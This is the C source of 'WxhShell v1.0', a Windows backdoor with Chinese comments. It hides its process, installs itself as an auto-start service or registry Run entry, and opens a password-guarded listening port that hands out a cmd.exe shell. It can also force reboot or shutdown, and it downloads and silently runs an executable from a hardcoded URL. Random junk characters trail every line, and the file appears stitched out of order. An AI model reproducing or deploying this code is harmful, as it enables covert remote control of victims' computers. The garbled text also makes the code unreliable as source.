    if(Boot(SHUTDOWN)) `l|Oj$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oCT,v0+4O  
    else { e$9a9twl  
    closesocket(wsh); L^qCE-[  
    ExitThread(0); ,^9+G"H:I  
    } f I1CT)0<e  
    break; A7L;ims7  
    } [4"(\r\f  
  // 获取shell \uZpAV)5  
  case 's': { $0V+<  
    CmdShell(wsh); Uu7]`Ul  
    closesocket(wsh); ] (e ,J  
    ExitThread(0); utck{]P  
    break; tA1?8`bQ  
  } bB<S4@jF8z  
  // 退出 6,q0F*q  
  case 'x': { u!X~!h-6~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [RBSUOF  
    CloseIt(wsh); "(=g7,I4  
    break; pA8bFtt  
    } CR [>5/:M  
  // 离开 I~l qg  
  case 'q': { sc*R:"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rWr'+v?  
    closesocket(wsh); `l45T~`]$  
    WSACleanup(); c/ Pql!h+  
    exit(1); [8'?G5/n  
    break; -mO#HZIq  
        } q^xG%YdPz+  
  } "M/c0`>C!i  
  } {IOc'W-C#2  
-nGcm"'6F  
  // 提示信息 =-^A;AO(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x-i,v"8  
} S(.J  
  } vjX,7NY?  
7rD 8  
  return; #M!u';bZ  
} %oiF} >  
oG)T>L[&  
// shell模块句柄 /Xi21W/  
int CmdShell(SOCKET sock) 3P!OP{`  
{ Bw;isMx7  
STARTUPINFO si; l~$)>?ZD  
ZeroMemory(&si,sizeof(si)); ;bwBd:Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !SuflGx,q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h; q&B9  
PROCESS_INFORMATION ProcessInfo; %ddH4Q/p  
char cmdline[]="cmd"; n[>hJ6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zU1D@  
  return 0; > %KEMlKZ  
} "E+;O,N-  
[pU(z'caS  
// 自身启动模式 -W!M:8  
int StartFromService(void) KTYjC\\G  
{ X>$Wf3  
typedef struct $6m@gW]N  
{ "6C a{n1hk  
  DWORD ExitStatus; q:kGJ xfaW  
  DWORD PebBaseAddress; 5& %M L  
  DWORD AffinityMask; d5-Q}D,P  
  DWORD BasePriority; $'l<2h>4  
  ULONG UniqueProcessId; ?Tc|3U  
  ULONG InheritedFromUniqueProcessId; J4eU6W+{  
}   PROCESS_BASIC_INFORMATION; e(wc [bv  
(+gTIcc >  
PROCNTQSIP NtQueryInformationProcess; NrS+N;i  
4Pr^>m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #_^ p~:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wfO -bzdw  
o|>=< l  
  HANDLE             hProcess; ="]lN  
  PROCESS_BASIC_INFORMATION pbi; |8E~C~d  
r.)n>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mq~E'g4#  
  if(NULL == hInst ) return 0; TeuZVy8a  
v 8F{qT50  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 62nmm/c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kz b-a$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,m*HRUY  
yl?LXc[)  
  if (!NtQueryInformationProcess) return 0; Q=! lbW  
> 3x^jh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $cn8]*Z =  
  if(!hProcess) return 0; d7BpmM  
O-[YU%K3?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ak3^en  
F4~ OsgZ'N  
  CloseHandle(hProcess); cAN8'S(s1  
n',7=~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .WSn Y71  
if(hProcess==NULL) return 0; 41/civX>V  
@F8NN\  
HMODULE hMod; Pg.JI:>2Ku  
char procName[255]; lZ5-lf4  
unsigned long cbNeeded; V}TPt6C2  
Ur 1k3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^jL44? W}l  
,Gy,bcv{  
  CloseHandle(hProcess); ts&\JbL  
8p829  
if(strstr(procName,"services")) return 1; // 以服务启动 NI"Zocp  
+s_a{iMVP  
  return 0; // 注册表启动 Zbl*U(KU?  
} *0oa2fz%  
*DcIC]ao[  
// 主模块 XR8`,qH>  
int StartWxhshell(LPSTR lpCmdLine) hgYFR6VH  
{ `6-flc0r  
  SOCKET wsl; BO}IN#  
BOOL val=TRUE; OqsuuE  
  int port=0; Q`K^>L1  
  struct sockaddr_in door; -hfDf{QN  
wL3BgCxqDL  
  if(wscfg.ws_autoins) Install(); gLSI?  
_"F=4`lJ  
port=atoi(lpCmdLine); 8~qpOQX^V  
3<.DiY  
if(port<=0) port=wscfg.ws_port; 6Jy%4]wK  
A' ![*O  
  WSADATA data; fN{wP,jI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }JOz,SQHP  
O:+y/c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /(||9\;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^xk4HF   
  door.sin_family = AF_INET; ;s~xS*(C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D]d! lMK/  
  door.sin_port = htons(port); B^M L}$  
R4)l4rnO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wqm{f~nj=  
closesocket(wsl); vR#MUKfh  
return 1; CBdr 1  
} g<~ODMCO?W  
orWF>o=1  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Th\wTh04  
closesocket(wsl); \3(s&K\Y6\  
return 1;  o4 "HE*  
} 1Z_]Ge<a  
  Wxhshell(wsl); .rg "(I  
  WSACleanup(); L4+R8ojG  
J7wwM'\  
return 0; r_ m|?U %  
W@GU;Nr  
} ku57<kb  
[GM!@6U  
// 以NT服务方式启动  ZJ)>gV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1IgTJ" \  
{ #WUN=u   
DWORD   status = 0; 8>|4iT  
  DWORD   specificError = 0xfffffff; 8DD1wK\U~  
/QlzWson  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Q\rZ l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9JMf T]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `{yD\qDyX  
  serviceStatus.dwWin32ExitCode     = 0; 1 h162  
  serviceStatus.dwServiceSpecificExitCode = 0; <Qbqxw  
  serviceStatus.dwCheckPoint       = 0; u6E ze4u  
  serviceStatus.dwWaitHint       = 0; R))4J  
~yngH0S$[b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zq: }SU  
  if (hServiceStatusHandle==0) return; W }Ll)7(|T  
[N*S5^>1  
status = GetLastError();  OvC@E]/+  
  if (status!=NO_ERROR) MD;,O3Ge  
{ &H,UWtU+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m-[xrVV  
    serviceStatus.dwCheckPoint       = 0; 6 P9#6mZ  
    serviceStatus.dwWaitHint       = 0; [$>@f{:  
    serviceStatus.dwWin32ExitCode     = status; ,DW q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rc@lGq9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z@JTZMN_  
    return; %"E!E1_Sv  
  } KKg\n^  
:[PA.Upi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hOqNZ66{  
  serviceStatus.dwCheckPoint       = 0; -e51 /lhpd  
  serviceStatus.dwWaitHint       = 0; >_\]c-~<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DDT]A<WUV  
} lS2 `#l>  
`Lw Z(M-hI  
// 处理NT服务事件,比如:启动、停止 %0u5d$bq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bLg gh]Fh  
{ Mu" vj*F  
switch(fdwControl) X)TZ  S  
{ 8BY`~TZO$q  
case SERVICE_CONTROL_STOP: E9.1~ )  
  serviceStatus.dwWin32ExitCode = 0; 2:[<E2z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,ueA'GZ  
  serviceStatus.dwCheckPoint   = 0; *|+$7j  
  serviceStatus.dwWaitHint     = 0; ;]BNc"  
  { mCI5^%*0jQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *xeJ4h  
  } ]G! APE  
  return; C-Y7n5  
case SERVICE_CONTROL_PAUSE: z`J-J*R>d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A6;[r #C  
  break; ]3U|K .G  
case SERVICE_CONTROL_CONTINUE: /HSg)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DfOig LG*  
  break; :h0!giqoQ  
case SERVICE_CONTROL_INTERROGATE: Qc 1mR\.5  
  break; % 5!Y#$:{o  
}; : T4ap_Ycq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8CaD4bE  
} 3=Xvl 58k  
xnZ  
// 标准应用程序主函数 EL *l5!Iu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MA 6uJT  
{ {!4ZRNy(k  
t/]za4w/  
// 获取操作系统版本 Z 2uU'T  
OsIsNt=GetOsVer(); Hw#yw g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yk7^?W  
=lh&oPc1  
  // 从命令行安装 Kna@K$6{w=  
  if(strpbrk(lpCmdLine,"iI")) Install(); \3t)7.:4  
AUU(fy#<  
  // 下载执行文件 ^'vWv C  
if(wscfg.ws_downexe) { ,y7X>M2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (WGEX(|  
  WinExec(wscfg.ws_filenam,SW_HIDE); H[/^&1P  
} 2ZxZ2?.uJ  
DY87NS*HF  
if(!OsIsNt) { b Olb  
// 如果时win9x,隐藏进程并且设置为注册表启动 XOZ@ek)LY  
HideProc(); \7(OFT\u:  
StartWxhshell(lpCmdLine); tgrZs8?  
} JkNRXC:  
else OH5#.${O  
  if(StartFromService()) u])MI6LF  
  // 以服务方式启动 I\82_t8  
  StartServiceCtrlDispatcher(DispatchTable); 2$ \#BG  
else (>om.FM  
  // 普通方式启动  ZN;fDv  
  StartWxhshell(lpCmdLine); ;Ac!"_N?7  
zL+M-2hV  
return 0; yA<\?Ps  
} |y]8gL^  
7YU}-gi  
VB+y9$Y'  
1i|5ii*vc  
=========================================== |uA /72  
L<N=,~  
QJH~YV\%  
IkLcL8P^  
E-#}.}i5  
a&`Lfw"  
" LkJ-M=y  
)}\J    
#include <stdio.h> n6GB2<y  
#include <string.h> rdm&YM`J  
#include <windows.h> ,HW[l.v  
#include <winsock2.h> sCAWrbOe>  
#include <winsvc.h> X4v0>c  
#include <urlmon.h> OWHHN<  
0 !F! Y_  
#pragma comment (lib, "Ws2_32.lib") OmECvL'Z  
#pragma comment (lib, "urlmon.lib") n\4sNoFI  
xNxSgvco ,  
#define MAX_USER   100 // 最大客户端连接数 H[iR8<rhQ  
#define BUF_SOCK   200 // sock buffer KQrG|<J  
#define KEY_BUFF   255 // 输入 buffer `c_Wk] i  
{X&H  
#define REBOOT     0   // 重启 meyO=>  
#define SHUTDOWN   1   // 关机 I6 Q{ Axy  
:W1B"T<  
#define DEF_PORT   5000 // 监听端口 4"%LgV`  
:\G`}_db'  
#define REG_LEN     16   // 注册表键长度 xR5zm %\  
#define SVC_LEN     80   // NT服务名长度 G+Zm  
k!wEPi]  
// 从dll定义API #6Fc-ysk:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 140_WV?7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ygTc Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m3Rss~l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D3;#:  
p!~V@l  
// wxhshell配置信息 X~g~U|B@  
struct WSCFG { ,A!0:+  
  int ws_port;         // 监听端口 p+1kU1F0  
  char ws_passstr[REG_LEN]; // 口令 Sa$-Yf  
  int ws_autoins;       // 安装标记, 1=yes 0=no Eg#WR&Uq"  
  char ws_regname[REG_LEN]; // 注册表键名 ksli-Px  
  char ws_svcname[REG_LEN]; // 服务名 ^/$bd4,z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XRWy#Pj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 agPTY{;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 10e~Yc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (%iCP/E3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wr\A ->+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  i(n BXV{  
&\M<>>IB  
}; QetyuhS~  
Gmh6|Dsg  
// default Wxhshell configuration 2lRE+_qz  
struct WSCFG wscfg={DEF_PORT, 7,Q>>%/0P  
    "xuhuanlingzhe", =$Sd2UD  
    1, Q)\4  .d  
    "Wxhshell", p6W|4_a?  
    "Wxhshell", lH 1gWe  
            "WxhShell Service", J0 x)NnWJ  
    "Wrsky Windows CmdShell Service", Meo. V|1  
    "Please Input Your Password: ", /~;om\7r  
  1, D1 f}g  
  "http://www.wrsky.com/wxhshell.exe", w|8T6W|w  
  "Wxhshell.exe" jB%aHUF;  
    }; (<xl _L:*.  
xr1,D5  
// 消息定义模块 TKZ[H$Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W(,3j{d2i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $~<]G)*Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '/QS sZR  
char *msg_ws_ext="\n\rExit."; EHX/XM  
char *msg_ws_end="\n\rQuit."; @PyZ u7'  
char *msg_ws_boot="\n\rReboot..."; |#`qP^E  
char *msg_ws_poff="\n\rShutdown..."; m e&'BQ  
char *msg_ws_down="\n\rSave to "; JY6^pC}*  
:c`Gh< u  
char *msg_ws_err="\n\rErr!"; vAjvW&'g  
char *msg_ws_ok="\n\rOK!"; (E]q>'X  
|t uh/e@dx  
char ExeFile[MAX_PATH]; |'N)HH>;  
int nUser = 0; [^2c9K^NK  
HANDLE handles[MAX_USER]; .V`N^ H:l  
int OsIsNt; o0:RsODl  
L/2,r*LNx$  
SERVICE_STATUS       serviceStatus; {#4F}@Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fy|$A@f  
vKmV<*K  
// 函数声明 &-hXk!A  
int Install(void); ^K'@W  
int Uninstall(void); yw+LT,AQ.  
int DownloadFile(char *sURL, SOCKET wsh); eNX!EN(^  
int Boot(int flag); bE>"DP q  
void HideProc(void); -|_MC^)  
int GetOsVer(void); {>n\B~*,"C  
int Wxhshell(SOCKET wsl); b]k9c1x  
void TalkWithClient(void *cs); M.?[Xpa  
int CmdShell(SOCKET sock); B6xM#)  
int StartFromService(void); oZ,_G,b^  
int StartWxhshell(LPSTR lpCmdLine); <3C/t|s  
,IDCbJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =`Lci1#pu}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u+5MrS [  
OV,t|  
// 数据结构和表定义 fuF!3Q  
SERVICE_TABLE_ENTRY DispatchTable[] = 3  G_0DS  
{ 6w)a.^yx7  
{wscfg.ws_svcname, NTServiceMain}, xSy`VuSl  
{NULL, NULL} P:&X1MC  
}; Bw25+l Px  
="J *v>  
// 自我安装 YML]pNB  
int Install(void) a(oa?OdJ  
{ u4vyj#V  
  char svExeFile[MAX_PATH]; uJ T^=Y  
  HKEY key; @p ZjJ<9QM  
  strcpy(svExeFile,ExeFile); ZGj ^,?a  
NWS3-iZ|8  
// 如果是win9x系统,修改注册表设为自启动 Zi= /w  
if(!OsIsNt) { y$[:Kh,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;9$71E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @jY=b<  
  RegCloseKey(key); h'ik19  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;7E c'nC4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2xK v;  
  RegCloseKey(key); V;29ieE!  
  return 0; 3>QkO.b  
    } w?:tce   
  } ?!HU$>  
} O_\%8*;  
else { 2mEvoWnJ  
mLm?yb:  
// 如果是NT以上系统,安装为系统服务 7!U^?0?/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `i<omZ[aT  
if (schSCManager!=0) y ~n1S~5cI  
{ xM)6'= x6  
  SC_HANDLE schService = CreateService 1V.oR`&2E  
  ( ?"$Rw32  
  schSCManager, gE: ?C2  
  wscfg.ws_svcname, ^:~!@$*;6  
  wscfg.ws_svcdisp, A~}5T%qb  
  SERVICE_ALL_ACCESS, ]p!)8[<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `3:Q.A_?  
  SERVICE_AUTO_START, a'Yi^;2+\  
  SERVICE_ERROR_NORMAL, %z~=Jz^  
  svExeFile, 55Ya(E  
  NULL, ( 4(,"  
  NULL, "fu:hHq  
  NULL, fPPC`d&Q3  
  NULL, 4i7+'F  
  NULL 49.B!DqQW&  
  ); %X|u({(zb  
  if (schService!=0) 1]69S(  
  { Kf1NMin7  
  CloseServiceHandle(schService); +\]Gu(z<  
  CloseServiceHandle(schSCManager); )M><09  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DS=$* Trk  
  strcat(svExeFile,wscfg.ws_svcname); \{ve6`7Rn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #MFIsx)r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =;"=o5g_  
  RegCloseKey(key); lhC hk7l  
  return 0; iD*L<9  
    } -}_1f[b  
  } $C{,`{=  
  CloseServiceHandle(schSCManager); _ee<i8_Va  
} LU/;` In  
} EpH_v`  
|'-%d^ Z  
return 1; F1meftK  
} N "}N>xe2  
Ej8g/{  
// 自我卸载 s'|t2`K("  
int Uninstall(void) !<24Cy  
{ $*|M+ofQ  
  HKEY key; cj9C6Y!  
2Qt!JXC  
if(!OsIsNt) { ~7an j.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >x>/}`  
  RegDeleteValue(key,wscfg.ws_regname); 9dm oB_G  
  RegCloseKey(key); u'nQC*iJb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =f!clhO  
  RegDeleteValue(key,wscfg.ws_regname); t{s*,X\b  
  RegCloseKey(key); k!Q{u2  
  return 0; eR0$CTSw  
  } flT6y-d  
} XO+rg&Pu  
} /,`OF/%  
else { Z&O6<=bg!  
tzthc*-<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T<-_#}.Hn  
if (schSCManager!=0) Ss%1{s~ok  
{ ~Up{zRD"B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4(p`xdr}K  
  if (schService!=0) s VHk;:e>x  
  { n*Uk<_WA  
  if(DeleteService(schService)!=0) { .G#li(NWH  
  CloseServiceHandle(schService); hD=.rDvO  
  CloseServiceHandle(schSCManager); |c^?tR<  
  return 0; 1je j7p>K  
  } <v'&Pk<  
  CloseServiceHandle(schService); )U=]HpuzI  
  } sM+~x<}0  
  CloseServiceHandle(schSCManager); Ek1c>s,t  
} AgZ?Ry  
} GC:q6}  
}B a_epM  
return 1; em'ADRxG+  
} -]+pwZ4g  
"F%JZO51  
// 从指定url下载文件 [q U v|l1  
int DownloadFile(char *sURL, SOCKET wsh) vxHFNGI  
{ U (#JC(E-#  
  HRESULT hr; iGkysU<wcp  
char seps[]= "/"; le]~Cy0  
char *token; x x4GP2  
char *file; N#2ldY *  
char myURL[MAX_PATH]; nwh@F1|  
char myFILE[MAX_PATH]; ^sB0$|DU  
3H`{ A/r  
strcpy(myURL,sURL); vENf3;o0  
  token=strtok(myURL,seps); mf)+ 5On  
  while(token!=NULL) xP!QV~$>  
  { r *]pL<  
    file=token; eIfQ TV  
  token=strtok(NULL,seps); U8AH,?]#  
  } QeG9CS)E}j  
|?s sHW  
GetCurrentDirectory(MAX_PATH,myFILE); HC/z3b;  
strcat(myFILE, "\\"); !3Pbu=(cte  
strcat(myFILE, file); A4cOnG,  
  send(wsh,myFILE,strlen(myFILE),0); HA*L*:0  
send(wsh,"...",3,0); ,T`,OZm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y?3.W  
  if(hr==S_OK) ]jFl?LA%7  
return 0; EG;E !0  
else  RQb}t,  
return 1; @1Q-.54a  
Pal=I)  
} OU"%,&J  
fj)) Hnt(|  
// 系统电源模块 i5t6$|u:&m  
int Boot(int flag) f+Sb> $  
{ -~|{q)!F  
  HANDLE hToken; c#sHnpP  
  TOKEN_PRIVILEGES tkp; YT Zi[/  
o]Rlivahm  
  if(OsIsNt) { qQi\/~Y[:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4] uj+J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eM:J_>7t  
    tkp.PrivilegeCount = 1; Iz5NA0[=2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _BmObXOp.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ph1XI&us9  
if(flag==REBOOT) { =i&,I{3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Vo8|?.WhX  
  return 0; S k~"-HL|  
} e[fOm0^.c  
else { *B"Y]6$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z(T{K\)uN  
  return 0; RHg-Cg`  
} . \"k49M`  
  } 0{|HRiQH9+  
  else { k=hWYe$iAz  
if(flag==REBOOT) { 8~]D!c8;a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) odsFgh  
  return 0; AQg|lKv  
} akxNT_   
else { Y8\P"q b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /,I cs  
  return 0; .mt%8GM  
} K"H\gmV_ g  
} 3/@z4:p0R  
-f)fiQ-<  
return 1; FT@uZWgQ=  
} M  9t7y  
 b.&W W  
// win9x进程隐藏模块 rtRbr_  
void HideProc(void) :x)H!z P  
{ &)%+DUV|  
H<Oo./8+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _*fNa!@hY  
  if ( hKernel != NULL ) VN0We<\Z  
  { CwA_jOp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ViPC Yt`of  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X#lNS+&='  
    FreeLibrary(hKernel); P5h|* ?=  
  } d9#Vq=H /  
(Q^sK\  
return; 0N.h:21(4  
} !hBpon  
4hL%J=0:  
// 获取操作系统版本 @h%V:c  
int GetOsVer(void) i#]e&Bru5  
{ mm-s?+&M;  
  OSVERSIONINFO winfo; ZgP%sF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  uZS:  
  GetVersionEx(&winfo); Xv8-<Ks  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L>1hiD&  
  return 1; Y$ ys4X  
  else *?rWS"B  
  return 0; =_7wd*,  
} $*fJKR_N  
Ae+)RBpc  
// 客户端句柄模块 /o9T [ ^\  
int Wxhshell(SOCKET wsl) ,^UqE {  
{ ;*<tU n^t  
  SOCKET wsh; vk& gR  
  struct sockaddr_in client; {LO Pm1K8Y  
  DWORD myID; r9i? H  
%l F*g  
  while(nUser<MAX_USER) z)qYW6o%  
{ tS'lJu  
  int nSize=sizeof(client); / (&E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7A)\:k  
  if(wsh==INVALID_SOCKET) return 1; Fb5U@X/vE  
jT{T#_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sgX!4wG&Z  
if(handles[nUser]==0) 2bp@m;g$  
  closesocket(wsh); I0Pw~Jj{  
else lkn|>U[  
  nUser++; 0bg"Q4  
  } 94u{k1d x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Gc M  
#z*,CU#S9d  
  return 0; H_DCdUgC'  
} 1 em,/> "  
za>UE,?h  
// 关闭 socket t]yxLl\  
void CloseIt(SOCKET wsh) OXEk{#Uf[3  
{ m&UP@hUV-  
closesocket(wsh); zM9#1^X  
nUser--; =)[m[@,c  
ExitThread(0); v= 55{  
} Kg[OUBv  
2Je $SE8  
// 客户端请求句柄 pP. _%5  
void TalkWithClient(void *cs) d7OygDb<  
{ 3Vb4zZsl  
> H!sD\b  
  SOCKET wsh=(SOCKET)cs; 6>>; fy2  
  char pwd[SVC_LEN]; Kc/1LeAik  
  char cmd[KEY_BUFF]; rhJ&* 0M  
char chr[1]; e~o!Qm  
int i,j; _gvFs %J  
;[v!#+yml  
  while (nUser < MAX_USER) { R'Sd'pSDN  
h)KHc/S  
if(wscfg.ws_passstr) { CdolZW-!"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SepjF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K:PH: e  
  //ZeroMemory(pwd,KEY_BUFF); TlqHj  
      i=0; D BT4 W/  
  while(i<SVC_LEN) { "g{q=[U}  
LK^|JEu  
  // 设置超时 }u Y2-l  
  fd_set FdRead; (o^tmH*  
  struct timeval TimeOut; @,vmX z  
  FD_ZERO(&FdRead); *;7y5ZJ  
  FD_SET(wsh,&FdRead); 'solCAy  
  TimeOut.tv_sec=8; Q#bW"},^k  
  TimeOut.tv_usec=0; 9mF '   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K`4rUEf}V"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (!~cO x   
Kb.qv)6i*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D!<F^mtl  
  pwd=chr[0]; wu41Mz7  
  if(chr[0]==0xd || chr[0]==0xa) { vwCQvt  
  pwd=0; 8Sbz)X  
  break; [);oj<  
  } DiCz%'N  
  i++; z+"tAVB[i  
    } uZqL'l+/y  
B=_w9iVN  
  // 如果是非法用户,关闭 socket o`U}u qrO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,+=9Rp`md  
} }V?m =y [  
%b6$N_M{H1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _:x]' w%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_Kwxn$  
i2F7O"f.  
while(1) { Ss3p6%V/  
^QK`z@B  
  ZeroMemory(cmd,KEY_BUFF); =7Ln&tZ  
}0'=}BE  
      // 自动支持客户端 telnet标准   3]Z1kB  
  j=0;  N5 ME_)  
  while(j<KEY_BUFF) { Ltlp9 S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w:&" "'E  
  cmd[j]=chr[0]; q6zVu(  
  if(chr[0]==0xa || chr[0]==0xd) { 7CIN!vrC|1  
  cmd[j]=0; /x VHd  
  break; @CprC]X  
  } l45/$G7  
  j++; LUOjaX  
    } JGs: RD'  
j-<]OOD  
  // 下载文件 j3j?2#vR  
  if(strstr(cmd,"http://")) { ] l,BUf-O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vygzL U^  
  if(DownloadFile(cmd,wsh)) ' \JE>#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]#tB[G  
  else !3Q0Ahf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y.^L^ "%dF  
  } u'YXI="(  
  else { |z-f 8$  
Y:^hd809  
    switch(cmd[0]) { Hon2;-:]{]  
  |'^s3i&w  
